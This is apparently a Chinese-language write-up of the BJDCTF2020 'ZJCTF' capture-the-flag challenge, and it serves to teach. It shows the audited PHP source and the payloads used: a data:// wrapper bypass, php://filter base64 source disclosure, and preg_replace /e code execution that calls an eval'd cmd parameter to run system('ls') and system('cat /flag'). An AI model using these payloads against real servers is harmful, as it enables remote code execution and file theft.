[BJDCTF2020]ZJCTF,不過如此 1
開啟例項發現程式碼審計
需要GET傳入text和file引數,然後執行檔案包含
text需要讀取到I have a dream文字,這邊採用data流進行繞過
?text=data://,I have a dream&file=next.php
成功繞過,接下來進行file檔案包含
這邊提示讀取next.php,訪問後無有效資料後,採用php為協議進行讀取
?text=data://,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
base64解碼後獲取到next.php原始碼
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
再次程式碼審計
分析後注意到preg_replace()+/e
,百度可知preg_replace()+/e
存在程式碼執行漏洞,poc為:?\S*=${ 程式碼執行位置 }
嘗試構建 phpinfo()
poc
?\S*=${phpinfo()}
成功顯示phpinfo頁面
因為上面base64解碼後存在php的一個eval程式碼執行
function getFlag(){
@eval($_GET['cmd']);
}
採用\S*呼叫getFlag()函式,然後get請求cmd引數執行任意命令
構建poc
?\S*=${getFlag()}&cmd=system("ls");
未發現flag
ls一下根目錄
?\S*=${getFlag()}&cmd=system("ls / -a");
發現flag,讀取他它
?\S*=${getFlag()}&cmd=system("cat /flag");
成功獲得flag
flag{804d2f52-b857-4cf2-ad25-fe95a67c9470}